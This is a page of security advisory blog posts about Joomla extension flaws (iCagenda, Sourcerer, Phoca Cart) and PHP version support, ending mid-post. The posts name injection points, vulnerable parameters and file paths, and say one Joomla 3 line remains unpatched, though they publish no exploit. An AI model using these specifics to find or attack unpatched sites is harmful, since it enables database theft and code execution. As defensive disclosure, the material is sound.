mySites.guru Blog

iCagenda 4.0.12 fixes an unauthenticated SQL injection

phil@mysites.guru (Phil Taylor) — Mon, 17 Aug 2026 00:00:00 GMT

The Joomla project's CVE Numbering Authority published CVE-2026-67365 on 14 August 2026: an unauthenticated SQL injection in the iCagenda Calendar module, part of the iCagenda events extension for Joomla. It is scored 9.2 Critical under CVSS 4.0, and the fix is iCagenda 4.0.12.

This is not our find. The CVE credits Joep van Antwerpen of Onvio. We found the previous iCagenda flaw in June, an unauthenticated file upload that ended up in the CISA Known Exploited Vulnerabilities catalog, so this is the second security issue in the extension in two months and the two are unrelated.

mySites.guru already flags this

Every connected Joomla site running an affected build of the iCagenda Calendar module is flagged against our vulnerability rules. Search for iCagenda across all your sites and see the version each one is on. Not a subscriber? Sign up free and connect your sites.

TL;DR

CVE-2026-67365, published 14 August 2026 by the Joomla CNA, CVSS 4.0 9.2 Critical, CWE-89
Unauthenticated SQL injection in the iCagenda Calendar module (mod_icagenda_calendar), described in the record as reachable via com_ajax with no session, token or account
Affected: 4.0.0 to 4.0.11. Fixed: 4.0.12
The module version does not match the package version. The Calendar module stayed at 4.0.7 through the 4.0.8, 4.0.9, 4.0.10 and 4.0.11 releases and only moved with 4.0.12, so a site can show iCagenda 4.0.11 while the vulnerable module reports 4.0.7
Reported by Joep van Antwerpen of Onvio, not by us
No vendor release note. The icagenda.com changelog lists nothing above 4.0.11 at the time of writing
Separate from CVE-2026-48939, the file upload fixed in 4.0.8 and 3.9.15. Patched for that one does not mean patched for this one

What CVE-2026-67365 is

The CVE record is the whole public description, so here it is verbatim:

CVE-2026-67365, description in full

Joomla Extension - icagenda.com - Unauthenticated SQL injection in iCagenda < 4.0.0-4.0.11 - Unauthenticated SQL injection in mod_icagenda_calendar (iCagenda), reachable via com_ajax with no session, token or account.

Three things in that sentence decide how quickly you act. It is unauthenticated, so nobody needs an account. It is reached through com_ajax, Joomla's generic front-end AJAX entry point, which is available to anonymous visitors by default and which we have written about before as a recurring blind spot. And it is SQL injection, so what is at risk is the contents of the database, which on a Joomla site includes the user table and its password hashes.

We have not written an exploit for this and we are not publishing one. Nothing here needs it.

The version number that will mislead you

This is the part worth your attention if you manage more than a couple of sites, and it is why a sensible-looking version check gives the wrong answer.

The vulnerable code is in a module, not the component, and the module's version did not move with the package. Across the Joomla sites we manage, the iCagenda Calendar module reports only a handful of distinct versions, and the pattern is clear: it sat at 4.0.7 while the package went through 4.0.8, 4.0.9, 4.0.10 and 4.0.11, then jumped straight to 4.0.12 when this fix shipped.

So on a site running iCagenda 4.0.11, the extension manager shows you 4.0.11 for the component and 4.0.7 for the Calendar module. Both are accurate. Neither, on its own, tells you whether this flaw is closed. The reading that does is the module at 4.0.12.

Two practical consequences:

A version comparison against the package version is wrong in both directions. Written one way it misses affected sites, written another it flags patched ones. Our own rule matches the module and treats anything below 4.0.12 as affected, which is the only form that lines up with reality.
Sites without the Calendar module installed are not exposed through this route, because the flaw is reached through that module. The component alone is not enough.

One open question we are not going to answer by guessing. iCagenda also ships an older calendar module, mod_iccalendar, labelled "deprecated", and it is still installed on plenty of sites. The CVE names mod_icagenda_calendar and only that, so we have not flagged the deprecated one as affected: doing so would mean asserting something the record does not say. If you still run mod_iccalendar, the safe assumption is that a deprecated module is not getting security attention either way, and the right move is to replace it rather than wait to find out.

Which Joomla sites are affected?

Any site with the iCagenda Calendar module below 4.0.12. The module is common but not universal on iCagenda sites: across the Joomla sites we manage, a bit under three quarters of iCagenda installs have the Calendar module, and more than four in ten of those are still on the vulnerable 4.0.7 today.

What to do

Update the iCagenda package to 4.0.12 or later, then confirm the module shows 4.0.12 rather than trusting the component version or the "up to date" message.

If you cannot update immediately, unpublishing and uninstalling the iCagenda Calendar module removes this exposure, because the flaw is reached through that module. That obviously removes the calendar from the site too, so treat it as a stop-gap.

One more thing worth doing on any site that has been sitting on an old iCagenda for a while: this extension had an actively exploited flaw two months ago, so it is worth checking the Hacked? section on each affected site and reading through Users in the Joomla admin for administrator accounts nobody created. Updating closes the door and tells you nothing about whether anyone already came through it.

Disclosure and severity

This flaw is CWE-89, SQL injection, reached over the network by an anonymous visitor with no privileges and no user interaction. Unlike our own assessments on vendor-silent releases, the numbers here are official: the Joomla CNA published a CVSS 4.0 vector with the record.

9.2 CVSS 4.0

Critical Official vector, published by the Joomla CNA

Unauthenticated SQL injection reachable through com_ajax with no session, token or account. High confidentiality impact on the vulnerable component and a high impact on the wider system, which is what carries the score to Critical.

No login needed Exploitable over the internet No user interaction Database read

Field	Detail
CVE	CVE-2026-67365, published 14 August 2026 by the Joomla CNA
Component	iCagenda Calendar module (`mod_icagenda_calendar`) for Joomla, shipped with the iCagenda events extension
Vendor	JoomliC (icagenda.com)
Type	Unauthenticated SQL injection (CWE-89), reachable via `com_ajax`
CVSS 4.0	9.2 (Critical), `AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H` (official, from the CVE record)
Affected versions	4.0.0 up to and including 4.0.11
Fixed in	4.0.12
Finder	Joep van Antwerpen, Onvio. Not a mySites.guru find
Vendor advisory	None. The icagenda.com changelog lists nothing above 4.0.11 at the time of writing

Sourcerer 14.0.0 fixes PHP execution from unverified content

phil@mysites.guru (Phil Taylor) — Mon, 17 Aug 2026 00:00:00 GMT

On 17 August 2026 Regular Labs released version 14.0.0 of Sourcerer, the Joomla extension that lets you place PHP, JavaScript and CSS inside your content. The changelog carries one entry tagged both [SECURITY FIX] and [BC BREAK]:

Sourcerer 14.0.0 changelog, the security entry in full

[SECURITY FIX] [BC BREAK] Prevents reflected or otherwise unverified rendered Sourcerer code from executing by default while preserving verified article and Custom module code

It runs that code wherever you put it: articles, modules, components, the page head. To do that it inspects the finished page on every render and executes the tags it finds. The question 14.0.0 answers is one Sourcerer never used to ask about most of the page: where did this code come from?

mySites.guru already flags this

Every connected Joomla site running an affected Sourcerer build is flagged against our vulnerability rules. Search for Sourcerer across all your sites and see the version each one is on. Not a subscriber? Sign up free and connect your sites.

TL;DR

Sourcerer 14.0.0 is the fix. The CVE record puts the affected range at 1.0.0 to 13.1.1, so every 13.x build is in range, from 13.0.0 to 13.1.1
Before 14.0.0, the only content whose origin Sourcerer verified was article text. Code that reached the page any other way simply ran
From 14.0.0, a block executes only if the plugin can trace it to a trusted source: article content, or a Custom module whose rendered text still matches what is stored
HTML-escaping is not a mitigation. Sourcerer decodes HTML entities inside its own tags on purpose, so WYSIWYG-authored code works
PHP execution is enabled by default, and the default forbidden-function list blocks shell functions, not file writes
Tracked as CVE-2026-74253, CVSS 4.0 10.0, critical, published by the Joomla CNA on 17 August 2026. The earlier CVE-2026-64796 is a separate issue and stops at 12.2.8
This is a deliberate breaking change. Some legitimate code will stop running until you allow it, which is the correct trade
Sourcerer is installed on thousands of the Joomla sites we manage, and roughly two thirds of those installs are on an affected 13.x build today

What Sourcerer 14.0.0 changed

The fix is structural rather than a patched line. Version 14.0.0 adds a trust-marking step. Content Sourcerer can vouch for gets marked as it passes through the page, and only marked blocks may execute code. Two origins qualify. Article content does, as it did before. A Custom module does when the text being rendered still matches what is stored in the database for that module, which is how the plugin knows the code you are about to run is the code an administrator actually saved.

Everything else now counts as unverified. On the Free edition those blocks are removed rather than run. On Pro, each unverified CSS, JavaScript or PHP type has to be allowed explicitly before it will execute again.

Two halves of the same Joomla extension problem

This is the second Sourcerer security release in under a month, and the two are halves of one problem.

On 22 July 2026 Regular Labs shipped a coordinated hardening release across its whole catalogue. Sourcerer 13.0.0 was part of it, and the CVE that came out of it, CVE-2026-64796, describes the Free edition failing to "require both the article creator and last modifier to be Super Users before executing article PHP". That closed the article path: from 13.0.0, PHP in an article only runs if trusted people wrote and last touched it.

August's release closes the rest of the page. The article path had an author check; the module, component, head and final-rendering positions had no origin check at all. Getting the first half right is what made the second half visible.

The practical consequence is that patching one does not patch the other. CVE-2026-64796 gives its affected range as 1.0.0 to 12.2.8. A site sitting on 13.1.1 is outside that range, is not flagged by it, and is still affected by what 14.0.0 fixes. The record for the August issue, CVE-2026-74253, runs from 1.0.0 to 13.1.1 and covers the whole line up to the fix.

Why escaping the input does not save you

The natural assumption is that a site is safe as long as it escapes what users type, because escaped angle brackets cannot open a PHP block. With Sourcerer that assumption falls apart, and the reason is a documented feature, not a bug.

Code written in a WYSIWYG editor arrives with its angle brackets converted to HTML entities. So that code still runs, Sourcerer decodes entities inside its own tags before handling the contents. The decoding has no way to tell code an administrator typed into TinyMCE from text that arrived from somewhere else. Escaped text is not automatically inert, and "we escape our output" is not the control that protects a site here.

Two other defaults matter when you are weighing urgency. PHP execution is on out of the box. The default list of forbidden PHP functions covers shell-execution functions, so it stops a payload shelling out, but it does not cover writing files.

We are deliberately not publishing a working request or a payload. Nothing above is a recipe, and you do not need any of it to decide whether to update.

Which Joomla sites are affected?

Every site running a build below 14.0.0. The CVE record starts its range at 1.0.0, so there is no older version to fall back to, and the 13.x builds are the ones worth naming, because those sites took a security update a month ago and are still affected. Note that 13.1.1 is twelve days old at the time of writing, so recently updated sites are affected too. Being current is not the same as being safe when the fix is a major version bump.

One trap when you check versions by hand: Pro builds append a PRO suffix, so a Pro site reports 13.1.1PRO rather than 13.1.1. String comparisons and spreadsheet sorts handle that badly, and it is why a "less than 14.0.0" rule written the obvious way can misjudge a Pro build in either direction. Compare the numeric part and treat any 13.x build, Free or Pro, as affected.

Sourcerer is installed on thousands of the Joomla sites we manage, and roughly two thirds of those installs are on a 13.x build today. Only a handful had moved to 14.0.0 within hours of release.

What should I do now?

Update Sourcerer to 14.0.0. Then plan for the breaking change rather than being surprised by it: legitimate code Sourcerer was picking up from a module, component, head or final-rendering position will stop running until you allow that type explicitly on Pro. If the site depends on Sourcerer for anything structural, test on a staging copy first.

If you cannot update immediately, disabling the Sourcerer system plugin removes the exposure, because that is the plugin that renders Sourcerer tags. It also removes the functionality, so treat it as a stop-gap rather than a fix.

Disclosure and severity

This is not our find. The CVE record credits Łukasz Rybak as the finder; the vendor changelog credits nobody, and Regular Labs published no separate advisory beyond the entry quoted at the top of this post. We read the 13.1.1 and 14.0.0 packages side by side to work out what the entry means, and we confirmed the behavioural difference between the two versions on our own Joomla 6 test site.

Update: the official record arrived the same day

We first published this post with our own provisional scores, because no CVE covered the 13.x line. Hours later the Joomla CNA published CVE-2026-74253 and scored it CVSS 4.0 10.0, critical, with an affected range of 1.0.0 to 13.1.1. We said an official vector would be authoritative over ours, so the score below is the CNA's, with our own figures and the reason they were lower kept underneath it.

The record classifies the weakness as CWE-94, improper control of generation of code, which is the same call we made: code from an unverified origin was executed as PHP. It adds CAPEC-242, code injection. The impact once a block runs is complete: arbitrary PHP in the site's own process.

10.0 CVSS 4.0

Critical The Joomla CNA's score, and the maximum possible

CVE-2026-74253 is scored AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H, which is every metric at its worst: reachable over the network, no login, no user interaction, nothing that has to be true first, and consequences that reach past the extension into the system around it. The record is titled "Unauthenticated RCE through unverified reflected user input in Sourcerer < 14.0.0".

CVE-2026-74253 Arbitrary PHP execution Escaping is not a mitigation PHP enabled by default No login needed

Our own provisional scores were lower, and the difference is reachability. We could not reach the flaw through Joomla core alone: core's input filtering stripped our test payload out of a reflected search parameter, raw and entity-encoded alike, so we could demonstrate no anonymous route at all on a stock site. We scored what we had proved, treating a suitable delivery position as a requirement (AT:P) and putting the everyday case behind a login. The CNA scored the flaw itself, with the reflected route its finder demonstrated. Its record is the one to quote, and ours is here for completeness.

Our provisional variant	Vector (`CVSS:4.0/...`)	Score	Severity
Low-privileged account, raw-rendered position outside the article path	`AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`	7.7	High
Anonymous, where another extension renders raw request input	`AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`	9.2	Critical

Field	Detail
Component	Sourcerer for Joomla (`plg_system_sourcerer` and `plg_editors-xtd_sourcerer`), Free and Pro
Vendor	Regular Labs (regularlabs.com)
Type	Execution of code from an unverified origin
CVE	CVE-2026-74253, published 17 August 2026 by the Joomla CNA. CVE-2026-64796 covers the earlier, separate issue in 1.0.0 to 12.2.8
CVSS 4.0	10.0 (critical), `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`. Our own provisional figures, published before the record existed, were 7.7 and 9.2
CWE	CWE-94 (improper control of generation of code), CAPEC-242 (code injection)
Affected versions	1.0.0 up to and including 13.1.1 per the CVE record, Free and Pro. Every 13.x build is in range
Fixed in	14.0.0, released 17 August 2026
Finder	Łukasz Rybak, credited in the CVE record. Not a mySites.guru find, and the vendor changelog credits nobody
Vendor advisory	None beyond the changelog entry

Why PHP 8.5.7 Shows Amber When PHP 8.4.24 Shows Green

phil@mysites.guru (Phil Taylor) — Sun, 16 Aug 2026 12:00:00 GMT

A customer emailed us this week with a fair question. One of their sites was running PHP 8.5.7 and the mySites.guru dashboard showed an amber badge. Another was running PHP 8.4.24 and showed green. The bigger number was getting the worse colour, which looks like a reporting error.

The badge is right, and the reason deserves more than the one-line reply we sent back, because the same confusion sits underneath a lot of expensive hosting decisions.

Accurate on 16 August 2026

Every version number, release date and support window below was correct on the day this was published. They will not stay that way. PHP ships a patch roughly every four weeks, so 8.5.9 will stop being the newest 8.5 release soon enough, and branches move from active support to security-fixes-only to end of life on a published schedule.

The mechanism does not age. The difference between a branch and a patch level, and the reason a higher version number can be the more out-of-date one, holds whatever the current numbers happen to be. For today's figures, php.net publishes the timetable.

The Short Answer

PHP 8.4.24 is the newest release php.net publishes for the 8.4 branch, so it goes green. PHP 8.5.7 is two releases behind the newest 8.5 release, which is 8.5.9, so it goes amber. Both 8.4 and 8.5 are currently supported branches. The badge is not ranking one branch above the other.

A PHP Version Number Answers Two Questions

Read 8.5.7 as three separate facts rather than one number that gets bigger over time.

Part	Example	What it tells you
Major	8.5.7	The language generation. PHP 8 has been current since 2020.
Branch	8.5.7	The support window. Each branch has its own start date and its own death date.
Patch	8.5.7	Whether you have taken the fixes that branch has already shipped.

The branch and the patch are independent. A brand new branch can be badly out of date on patches, and an older branch can be perfectly current. That is the situation our customer was looking at: 8.5 is the newer branch, and their 8.5 site was the one behind.

Branches also run in parallel rather than in sequence. When PHP 8.5 arrived, PHP 8.4 did not stop. It carried on receiving patches on the same monthly rhythm, and it will keep doing so into 2028.

What the PHP Badge Actually Checks

Every hour, mySites.guru fetches the list of current releases straight from php.net's own machine-readable feed of active branches:

curl -s https://www.php.net/releases/active

Reduced to the part that matters, that feed currently says:

{
  "8.2": "8.2.33",
  "8.3": "8.3.33",
  "8.4": "8.4.24",
  "8.5": "8.5.9"
}

The mySites.guru badge rule itself is blunt:

Green. Your PHP version string is exactly one of those four. You are on the newest patch of a branch php.net still publishes for.
Amber. It is anything else. One patch behind and ten patches behind get the same colour, because both mean there are published fixes you have not taken.
Red. The version starts with 5 or 7, so the entire major series is dead, or the string contains beta or rc, because pre-release builds do not belong on production sites.

Because the list refreshes hourly, sites move from green to amber on their own within an hour of php.net publishing a new patch. Nobody has to notice and nothing has to be re-scanned.

All three rules at once, on real rows. The green badges are sites on 8.5.9, the newest 8.5 release. The amber one is a site on 8.2.24, which was current until the 8.2 branch moved on to 8.2.33. The red ones are PHP 7.4, dead since November 2022, and no patch level rescues them because the rule catches the series by name.

Notice what the badge does not do. Every site in that list is running Joomla 3.10.12, and their PHP badges range from green to red. The PHP colour is only ever about PHP.

A shortcut that is not signposted anywhere

Clicking a PHP badge in mySites.guru site lists drops that exact version into the site search box as a filter. Click the amber 8.5.7 on one site and you immediately have every other site in your account sitting on 8.5.7, which is usually the whole server rather than the one site you were looking at.

Why Does a Newer PHP Version Show a Worse Colour?

Because two patch releases separate 8.5.7 from the current 8.5, and both of them carried security fixes. The 8.5 branch went 8.5.7 on 4 June 2026, 8.5.8 on 2 July, then 8.5.9 on 30 July.

The 30 July release went out across all four live branches at once, which is what the PHP project does when the fixes are security fixes rather than bug fixes. It carried CVE-2026-17544, an out-of-bounds write in BCMath, CVE-2026-17543, a SQL injection in the PostgreSQL extension, and CVE-2026-7260, a crash in Phar. The July release before it fixed memory corruption in openssl_encrypt().

The amber badge in mySites.guru is therefore a statement about exposure rather than about version numbers. A site on 8.5.7 is missing named, published, exploitable fixes that a site on 8.4.24 already has. The smaller number is the safer server today.

This is also why the amber tier exists for PHP at all. Joomla and WordPress version badges skip it: anything short of the current release goes straight to red, because CMS releases are less frequent and a missed one matters more. PHP ships a patch roughly every four weeks, on a Thursday, so amber fits a gap that is often only days old.

Which PHP Versions Are Supported Right Now?

Every PHP branch gets two years of active support, where ordinary bugs and security issues are both fixed, followed by two years where only critical security issues are patched. After four years it receives nothing at all.

Branch	First released	Active support until	Security support until	Status today
8.2	8 Dec 2022	31 Dec 2024	31 Dec 2026	Security fixes only
8.3	23 Nov 2023	31 Dec 2025	31 Dec 2027	Security fixes only
8.4	21 Nov 2024	31 Dec 2026	31 Dec 2028	Active support
8.5	20 Nov 2025	31 Dec 2027	31 Dec 2029	Active support

Anything below 8.2 is already gone. PHP 8.1 died on 31 December 2025, PHP 8.0 in November 2023, and PHP 7.4 back in November 2022.

PHP branch support windows

Green is active support, amber is security fixes only, and the dashed line is today.

8.0

8.1

8.2

8.3

8.4

8.5

2023 2024 2025 2026 2027 2028 2029

Today: 16 August 2026

Active support.: Bugs and security issues are both fixed, with regular patch releases.
Security fixes only.: Critical security issues only, released as needed.
End of life.: No further releases of any kind. Known vulnerabilities stay unpatched.

PHP 8.6 reached its first beta in August 2026, with general availability targeted for late November. It is not a supported branch yet, and a production site running an 8.6 beta gets a red badge rather than credit for being early.

How Bad Is It to Be Running PHP 5, 7, 8.0 or 8.1 in 2026?

It depends enormously on which one, and lumping them together is how the warnings get ignored. PHP 8.1 stopped receiving fixes seven months ago. PHP 5.6 stopped more than seven years ago. Treating those as the same emergency is how you get a client who tunes out the whole subject.

Series	Last ever fix	Unpatched for
8.1	31 December 2025	7 months
8.0	26 November 2023	2 years 8 months
7.4	28 November 2022	3 years 8 months
7.0	3 December 2018	7 years 8 months
5.6	31 December 2018	7 years 7 months

The Advisory List Stops Mentioning You

Here is the part that catches people out. When PHP published CVE-2026-17543, a SQL injection in the PostgreSQL extension, the advisory listed its affected versions as everything below 8.2.33, 8.3.33, 8.4.24 and 8.5.9. PHP 8.1 is not mentioned. Neither is 7.4, or 5.6.

That absence is not a clean bill of health. Those branches are missing from the range because nobody assessed them, not because the bug stops at 8.2. The vulnerable code was almost certainly there long before the branches that got named, and there will never be a fix, an advisory, or a version number to check against. Your scanner reports nothing, because there is nothing published to report.

So the risk on a dead branch is unknowable rather than merely high, and it compounds every month. PHP shipped fixes for eighteen CVEs across 2026's releases alone. A few of those only touch code introduced in 8.5, but most reach back across the branches, and none of them are being backported to anything that has already died.

What Actually Gets Sites Hacked

In the compromises we clean up, the PHP interpreter itself is rarely the way in. It is almost always the CMS or an extension. A site on PHP 8.1 that is otherwise current and well maintained is not in immediate danger from the interpreter, and anyone telling you it will be breached this week because of the PHP version is selling something.

The reason old PHP still matters is what it does to everything above it. You cannot run current Joomla or WordPress on it. You cannot take extension updates once vendors raise their floors. So the layer that genuinely does get exploited is frozen along with the interpreter, and it stays frozen until PHP moves. That is the mechanism, rather than the interpreter itself being kicked in.

Which gives a rough grading:

PHP 8.1. Not an emergency, and a reasonable place to be mid-migration. It is a deadline you have already missed rather than a fire, so put a date on it.
PHP 8.0 and 7.4. Three years without a fix, and past the point where current CMS and extension releases will install. Plan the move now, because the stack above it has already stopped moving.
PHP 7.0 and 5.x. A rebuild conversation. Seven-plus years unpatched, no current CMS will run, and the code will need real work to port. W3Techs still has 29.0% of PHP sites on version 7 and 7.9% on version 5, so more than a third of the PHP web is here. Common is not the same as safe.

Green Means Patched, It Does Not Mean Future-Proof

Look again at the four versions that can earn a green badge in mySites.guru today: 8.2.33, 8.3.33, 8.4.24 and 8.5.9. Two of those four are on branches that left active support months or years ago. PHP 8.3 has been security-fixes-only since 31 December 2025, and PHP 8.2 since the end of 2024.

So a site running PHP 8.3.33 shows a perfectly green badge while sitting on a branch that no longer receives bug fixes at all, only critical security patches. A site on 8.2.33 gets the same green, and the 8.2 branch stops receiving even those on 31 December 2026, roughly four months away. The badge says nothing about any of it.

So half the versions that can go green are on branches already past their active-support window.

What happens next is the sharpest limitation of the whole colour scheme. When 8.2 reaches end of life, php.net drops it out of the active releases feed, 8.2.33 stops matching, and the badge turns amber by itself. That is the right direction to move, but amber is also the colour for "one patch behind on a perfectly healthy branch". A dead branch and a fortnight-old patch level end up looking identical.

You can watch this happening today on PHP 8.1, which died on 31 December 2025. An 8.1 site shows amber rather than red, because the red rule only catches the PHP 5 and PHP 7 series by name. The colour understates the problem, and if you are running 8.1 the amber badge is doing you a disservice.

So read green as "you have taken the patches that exist", which is a question you can act on this afternoon, and treat the branch end-of-life dates in the table above as a separate question that belongs in next year's budget. A site on 8.2 or 8.3 is fully patched and on a countdown at the same time. Our end-of-life version tracking does the equivalent job for Joomla and WordPress core versions.

What PHP Version Do WordPress and Joomla Actually Need?

The CMS minimums are considerably lower than what you should actually run, which is where a lot of the "but my site works fine" arguments come from.

Platform	Latest release	Minimum PHP	Recommended PHP	Highest PHP it runs on
WordPress	7.0.4	7.4 (dead since 2022)	8.3 or greater	Moves with PHP
Joomla 1.5	1.5.26 (2012)	4.3.10	5.3	PHP 5.3 era, never PHP 7
Joomla 2.5	2.5.28 (2014)	5.2.4	5.6	5.6, never PHP 7
Joomla 3	3.10.12 (2023)	5.3.10	8.0	8.1, dead since Dec 2025
Joomla 5	5.4.7	8.1.0 (dead since Dec 2025)	8.3	Moves with PHP
Joomla 6	6.1.2	8.3.0	8.4	Moves with PHP

Both projects set their floor at whatever will not break existing installs, so the minimum is a compatibility statement rather than a recommendation. WordPress says so directly on its requirements page, noting that it still runs on PHP 7.4 while pointing out that 7.4 reached end of life years ago.

The last column is the one that matters for older sites, because it is a ceiling rather than a floor. Joomla 3 is the sharpest case. The project backported PHP 8.1 compatibility fixes to the 3.10 branch before that branch closed, so 8.1 is the highest PHP a Joomla 3 site was ever made to run on. PHP 8.1 itself died on 31 December 2025.

Which means a fully patched, best-case Joomla 3 site is sitting on a PHP branch that has been receiving nothing for seven months, and no hosting change fixes it. Selecting PHP 8.2 in the control panel breaks the site instead. This is the extension problem from the previous section, one level up: the CMS is the thing pinning PHP down, so the CMS has to move first. Joomla 1.5 and 2.5 are worse again, since neither ever ran on PHP 7 at all.

Joomla 3 support formally ended on 17 August 2023, though a paid Extended Long Term Support programme carried on patching it until early 2025, and our own Joomla 3 patch tool still applies known security fixes to 3.10.12 sites. None of that moves the PHP ceiling.

The gap between those two columns is where most of the web lives. W3Techs data from 16 August 2026 puts PHP on 70.3% of all sites whose server-side language is known, and among those, 29.0% are still on PHP 7 and 7.9% on PHP 5. More than a third of the PHP web is running a major version that has not received a security fix in years. Every one of those sites gets a red badge from us, and the badge is being generous.

If you are planning upgrades, our Joomla 6 technical requirements and WordPress 7 compatibility posts cover what each jump actually needs, and the managing CMS updates at scale guide covers doing it across a portfolio rather than one site at a time.

How Do I Move a Site From Amber to Green?

PHP belongs to your host, not to your CMS, so there is nothing to click inside WordPress or Joomla. On most mass-market hosting the answer is a PHP version switcher somewhere in the control panel, and for the majority of sites that switcher is the entire story.

Two things make it messier than that sounds, and both of them explain amber badges that look like nobody's fault.

A Server Does Not Have One PHP Version

It has several, and they can all differ. The CLI binary, PHP-FPM, CGI and any legacy mod_php can each sit on a different version on the same machine. Beyond that, a decent host will let you set the version per domain, and often per directory through .htaccess overrides, which means the front end and the administrator area of one site can genuinely run different PHP versions. Per-file overrides exist too.

So running php -v over SSH tells you the version of the command-line binary and frequently nothing whatsoever about what serves your pages. It is the check most people reach for first, and it is the one most likely to send you off in the wrong direction.

The version that counts is the one the site itself reports while serving a request. Both WordPress and Joomla surface that on their own system information screens, and mySites.guru reads the same self-reported value from each connected site, which is why the badge reflects reality rather than what the server's shell says.

Your Host Only Offers What It Has Installed

The switcher lists the versions your host has bothered to load onto that server, and hosts lag behind PHP releases considerably. Patch releases arrive roughly every four weeks. Plenty of hosts are weeks or months behind that, and some never offer a specific patch at all, jumping straight from one to the next.

An amber badge in mySites.guru is not always something you can fix

If your host has not installed the current patch, it will not be in the switcher and there is no setting that conjures it up. At that point the useful action is to ask them when it is coming. A host that is habitually months behind on security patches is telling you something about the rest of their operation.

With that in mind:

Amber, and the current patch is in the switcher. Select it. This is the common case and takes a minute.
Amber, and the current patch is not offered. Ask your host when they are applying it. Nothing on your side changes this.
Amber on a branch that is near end of life. Move up a branch rather than chasing the patch, but test first: a branch change is a real upgrade, unlike a patch bump.
Red. Treat it as a migration, not a switch. PHP 5 and 7 code often will not run unmodified on PHP 8, so work on a copy. If the CMS itself is what pins you to the dead branch, the CMS is the thing that has to move first.

Patch bumps inside a branch are designed to be safe, which is the reason to take them quickly. Branch changes are where things break, so those get a staging copy and a proper test.

If you want this across everything you run rather than one site at a time, a free audit reports the PHP version alongside the rest of a site's state. Watching it on every site, every hour, and colouring it against what php.net published this morning is part of the mySites.guru subscription.

Your Extensions Get a Vote

Moving up a branch reads like a hosting decision, but the code running on the site has to agree, and often it does not.

Old code blocks the move up. Every PHP release removes things as well as adding them. An extension written in 2019 was tested against the PHP versions that existed in 2019, and nobody validated it against PHP 8.5, because PHP 8.5 did not exist yet. Where the vendor has disappeared, or the extension was abandoned years ago, or it is the bespoke component a previous developer wrote and never documented, there is nobody left to do that validation now. The site cannot move until the code moves.

New code blocks standing still. This is the half people miss. Vendors raise their own PHP floors, and when they do, the update stops being offered to you at all. When Regular Labs patched its entire Joomla extension catalogue, the release also raised the minimum to PHP 8.2. Sites still on PHP 8.1 were not offered the security update, so an old PHP version left them stranded on the vulnerable builds of everything that vendor makes.

That is the vice. Old extensions stop you going forwards, and new extension releases stop you staying where you are. A site nobody has touched for a few years usually has both problems at the same time, and each one is being made worse by the other.

Which is why "just upgrade PHP" is glib advice. A patch bump inside a branch is low-risk and should be taken quickly. A branch change is a project: it needs a staging copy, a real test, and before either of those, an inventory of what is actually installed and how far behind it is. mySites.guru keeps that inventory for every connected site, with the version of every extension, which is the part that turns "we have no idea what will break" into a number of hours.

Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection

phil@mysites.guru (Phil Taylor) — Sun, 16 Aug 2026 00:00:00 GMT

On 16 August 2026 Phoca shipped three security releases of Phoca Cart, the e-commerce extension for Joomla. The first two went out on the morning: 6.1.7 at 10:23 UTC and 5.2.4 sixteen minutes later. A third, 4.0.13 for the Joomla 4 line, followed that evening at 20:39 UTC. Here is everything Phoca published about what changed.

Release note for Phoca Cart 5.2.4, in full

This is a security release.

Five words on the package itself. No affected versions, no description of the flaw, no severity, no CVE, no workaround, and nothing to tell a site owner whether this is a quiet hardening tweak or an anonymous visitor reading their customer table. The fuller statement came later in the day.

It did come. Phoca published a news item for the 6.1.7 release the same day, and this time the changelog names the flaw: "Fixed possible unauthenticated SQL Injection", with a detailed report promised later from an external source. The 6.1.7 GitHub release notes go one step further and credit the report to Toan Le. So this was a timing gap, not a policy, and it is to Phoca's credit that the record was put straight on the same calendar day.

We have spent a lot of this year reading release notes that never caught up. JoomShaper shipped a critical Helix3 patch under a changelog that said only "Security Update". Balbooa's remote code execution fix arrived under a plain "Fixed" heading, with nothing to say it closed a hole being exploited at the time. Cotton Cloud pushed a security release to every site through the update system while its changelog file still held exactly one entry, for a version long past. The Joomla project's own guidance covers this as rule 17 of the twenty rules for developers handling a security report: do not hide security fixes in vague language. Phoca, eventually, did not.

The five-word package note still matters for one reason: for the first few hours it was the only public statement, and Joomla 4 sites had nothing at all until the evening release. The words a vendor puts in a release note are a poor guide to how urgently you need to update. The version number is the part you can act on.

So we pulled the packages apart to work out what changed. The answer is an unauthenticated SQL injection in the product filter, fixed in the same file on all three lines. The more useful answer, if you manage Joomla sites for other people, is that a large share of the installs affected by this will never be offered the fix by Joomla's own updater, and will keep reporting themselves as up to date.

TL;DR

Phoca Cart 5.2.4 (Joomla 5), 6.1.7 (Joomla 6) and 4.0.13 (Joomla 4) fix an unauthenticated SQL injection in the product filter
The a (attribute) and s (specification) request parameters were concatenated into the WHERE clause of the product listing query inside hand-written quotes, on a public page, with no login and no token
Injection points in admin/libraries/phocacart/search/search.php, now passed through $db->quote() (six on the 5.x/6.x lines, four on the 4.x line)
Joomla 3 is the only branch still unpatched. We confirmed the identical vulnerable code in 3.5.8, the newest release offered to that platform, and no fixed release exists for it
Joomla's updater will not offer the fix to a Joomla 5 site running Phoca Cart 6.x. The update feed offers it 5.2.4, which is lower than what it has, so Joomla shows nothing
CVE-2026-74251, published by the Joomla CNA the same afternoon at CVSS 4.0 9.3, Critical. The range it originally stated, 5.0.0 to 6.1.16, was corrected same-day to 5.0.0 to 6.1.6, but the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines
This is not our find. Phoca credits the report to Toan Le; we analysed the published diff afterwards

What Phoca Cart 5.2.4, 6.1.7 and 4.0.13 actually changed

A warning for anyone trying to check this themselves, because the obvious method gives the wrong answer. GitHub's compare view between the two tags is useless here. The 5.2.4 tag points at commit 9549020f, which is the same commit as 6.1.7. Comparing 5.2.3...5.2.4 therefore reports 19 commits and 223 changed files, eight months of unrelated 6.x development, none of which is in the 5.2.4 package that people actually install.

The real 5.2.4 code exists only in the release ZIP. Download both packages, unzip, and diff the trees:

curl -sLO https://github.com/PhocaCz/PhocaCart/releases/download/5.2.3/com_phocacart_v5.2.3.zip
